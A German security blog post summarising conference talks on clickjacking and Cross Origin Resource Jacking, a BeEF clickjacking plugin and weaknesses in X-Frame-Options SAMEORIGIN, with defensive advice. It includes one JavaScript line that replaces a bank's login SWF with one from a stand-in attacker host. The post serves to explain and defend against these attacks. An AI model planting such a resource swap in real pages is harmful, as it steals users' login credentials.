Dipl.-Inform. Carsten Eilers

Auf den Sicherheitskonferenzen Black Hat Europe 2012 (März 2012) und Black Hat USA 2012 (Juli 2012) hat Shreeraj Shah jeweils einen Vortrag mit dem Titel "HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits" gehalten. Hier ist eine dieser zehn Bedrohungen relevant: "A2 - ClickJacking, CORJacking and UI exploits" (März 2012).

Clickjacking: Same Procedure than last year

Beim Clickjacking nennt Shreeraj Shah im wesentlichen bekannte Faktoren: Einige Social-Networking-Websites können in iframes geladen werden und sind dadurch für Clickjacking anfällig (was ich nur mit "Selbst schuld" kommentieren kann). Die Sandbox für iframes erlaubt das Unterlaufen der JavaScript-Framebuster (Shah schaltet dazu JavaScript komplett aus, es reicht aber im Allgemeinen, die Top-Navigation zu verbieten, was die Funktion der angegriffenen Website deutlich weniger einschränkt). Neue Tags wie die Presentation-Tags können unter Umständen bei der Konstruktion von Clickjacking-Angriffen helfen - wie, verrät Shah aber nicht.

Ein neues Problem: Cross Origin Resource Jacking (CROJacking)

Danach führt er aber einen interessanten neuen Angriff vor. HTML5, das Web 2.0 und RIA führen bekanntlich zu umfangreichen Webanwendungen mit vielen verschiedenen Ressourcen (Flash, Silverlight, Video, Audio, ...), die in jeweils eigenen Objekt-Bereichen innerhalb des DOMs geladen werden und auf die aus dem DOM heraus zugegriffen werden kann. Wenn ein Angreifer das DOM zwingen kann, eine Ressource "on the fly" gegen eine Cross-Origin/Domain-Ressource auszutauschen, führt das zum Cross Origin Resource Jacking (CORJacking). Damit lässt sich dann einiges an Unheil anrichten. Als Beispiel nennt Shreeraj Shah den Austausch einer SWF-Datei, über die der Benutzer sich zum Beispiel bei einer Bank einloggt. Diese SWF-Datei, login.swf, ist natürlich auf der Website der Bank bank.example gespeichert und wird von dort auch geladen. Ein Angreifer, der JavaScript-Code auf der Seite der Bank einschleusen kann, kann diese SWF-Datei gegen eine eigene Version von seinem Server austauschen:

document.getElementsByName("login").item(0).src="http://angreifer.example/login.swf"

Der Benutzer denkt, er loggt sich bei seiner Bank ein - und die Zugangsdaten landen beim Angreifer.

Als Schutz vor solchen Angriffen müssen alle Komponenten über JavaScript vor Manipulationen geschützt werden. Es reicht aber schon aus, keine XSS-Schwachstellen zu haben, denn ohne eingeschleusten JavaScript-Schadcode ist auch kein CORJacking möglich. Sofern das Einbinden der Ressourcen in fremden Domains ("Reverse CORJacking") ein Problem ist, müssen die Ressourcen selbst darauf achten, nur im Kontext der eigenen Domain ausgeführt zu werden.

"Verwirrte Deputies beim Clickjacking erwischt" (oder so ähnlich)

Rich Lundeen hat auf der Black Hat Europe 2013 einen Vortrag mit dem Titel "The Deputies are Still Confused" gehalten. Das ist eine Anspielung auf Cross-Site Request Forgery, welches auf das Problem des "Confused Deputy" zurückgeht. Während es während des Vortrags um CSRF-Angriffe ging, wird im zugehörigen Whitepaper auch das Thema Clickjacking ausführlich behandelt.

Ein Clickjacking-PlugIn für BeEF

Um Clickjacking-Schwachstellen leichter nachvollziehbar zu machen, hat Rich Lundeen ein Clickjacking-PlugIn für das Browser Exploitation Framework BeEF entwickelt, das er auch in seinem Blog ausführlich beschrieben hat.

Das PlugIn enthält unter anderem Code, mit dem ein unsichtbare iframe dem Mauszeiger folgen kann, so dass jeder Klick in diesem iframe landet. So etwas gab es zwar schon zuvor, Rich Lundeens Code läuft aber in allen großen Browsern. Außerdem ist es mit dem PlugIn möglich, nach einem abgefangenen Klick das sichtbare Fenster entsprechend reagieren zu lassen, so dass der Benutzer nicht merkt, dass sein Klick eigentlich keine sichtbare Reaktion auslöst.

Damit wird die verräterischste Eigenschaft des Clickjacking-Angriffs neutralisiert: Die fehlende Reaktion der sichtbaren Seite auf den in den unsichtbaren iframe umgeleiteten Klick. So lange nur ein einziger Klick abgefangen wird ist das noch nicht besonders kritisch: Der Benutzer klickt, nichts passiert, also denkt er, er hätte nicht richtig getroffen und klickt erneut. Wenn dieser zweite Klick im sichtbaren Fenster landet, wird die Aktion ausgelöst und der Benutzer ist zufrieden. Werden aber mehrere Kicks abgefangen, wird der Benutzer irgendwann misstrauisch werden. Oder auch einfach nur frustriert die Aktion aufgeben, so dass der Angriff womöglich nicht abgeschlossen wird. Indem die sichtbare Seite passend geändert wird, bleibt das Opfer am Ball und der Angriff kann abgeschlossen werden.

Und zu guter Letzt erlaubt das PlugIn durch Nutzung des REST API des BeEF automatisierte Angriffe, wenn das Opfer die Seite des Angreifers besucht. Als Beispiele für den Einsatz des PlugIns zeigt Rich Lundeen Angriffe auf Amazons Wunschliste und WordPress - beide mit Videos dokumentiert.

X-Frame-Options: SAMEORIGIN macht (nicht nur) Google Probleme

Rich Lundeen hat auch auf ein Problem in Zusammenhang mit dem Wert SAMEORIGIN für den X-Frame-Options-Header hingewiesen, das ich hier ebenfalls schon erklärt habe: Je nach Implementierung der Prüfung der Origin und Aufbau der zu schützenden Seite kann der Schutz unter Umständen umgangen werden. Wird nur die Top-Level-Origin geprüft, kann jede Website angegriffen werden, die das Einbinden fremder Inhalte in iframes erlaubt. Wie das funktioniert, hat Rich Lundeen am Beispiel von Google demonstriert (und ebenfalls durch ein Video dokumentiert).

Google ist ein gutes Opfer für solche Beispiele, da zum einen "X-Frame-Options: SAMEORIGIN" für den Schutz vor Clickjacking verwendet wird und zum anderen auf vielen Seiten fremde Inhalte in Frames geladen werden können. Die von Rich Lundeen entwickelten Beispiele sind nicht gerade ungefährlich: Zum einen kann eine private Seite öffentlich gemacht werden, zum anderen ein Google-Apps-Benutzer zum Admin werden.

Eine Lösung des Problems gibt es (noch) nicht - dazu müssten sich die Browser-Entwickler erst mal einig sein, wo/wie SAMEORIGIN geprüft wird. Es gibt aber eine Schutzmöglichkeit: Zumindest für sensitive Seiten sollte X-Frame-Options auf DENY gesetzt werden. Dann ist generell kein Einbinden in einem Frame möglich und die problematische Prüfung der Origin kommt gar nicht erst zum Zug.

In der nächsten Folge geht es weiter um neue Entwicklungen rund ums Clickjacking.

Carsten Eilers

Update 13.5.2015
Aus Anlass des 5jährigen Blog-Jubiläums habe ich alle Clickjacking-Artikel zusammengefasst, überarbeitet, ergänzt und auf den aktuellen Stand gebracht. Das Ergebnis ist ein (natürlich kostenloses) eBook im ePub- und PDF-Format: 5 Jahre Blog - Als Special: "Clickjacking"-eBook
Ende des Updates vom 13.5.2015

---

Übersicht über alle Artikel zum Thema

Clickjacking - Angriffe auf Seiten ohne Schwachstellen

Clickjacking - Auch komplizierte Aktionen sind möglich

Clickjacking - Framebuster oder HTTP-Header verhindern Angriffe

Der Angriff der Clickjacking-Würmer, "Likejacking" und "Buttonjacking"

Clickjacking - "Likejacking" unter die Haube geguckt

Clickjacking - The next Generation

Clickjacking - Drag&Drop-Angriffe und weitere Neuigkeiten

Cookiejacking - Keksdiebe im Internet Explorer

Likejacking - Facebook im Visier der Cyberkriminellen

Clickjacking - Gute und Schlechte Nachrichten

Standpunkt: Clickjacking gegen Flash, urchin.js und Duqu - nichts als Wiederholungen!

Neue Angriffe auf Webanwendungen über Clickjacking und Cookies

Clickjacking-Angriffe verhindern - der aktuelle Stand der Dinge

Clickjacking: Cross Origin Resource Jacking und ein Clickjacking-BeEF-PlugIn

Clickjacking: "Zaubertricks" ermöglichen Likejacking und mehr

Dieses und Jenes zum Clickjacking

5 Jahre Blog - Als Special: "Clickjacking"-eBook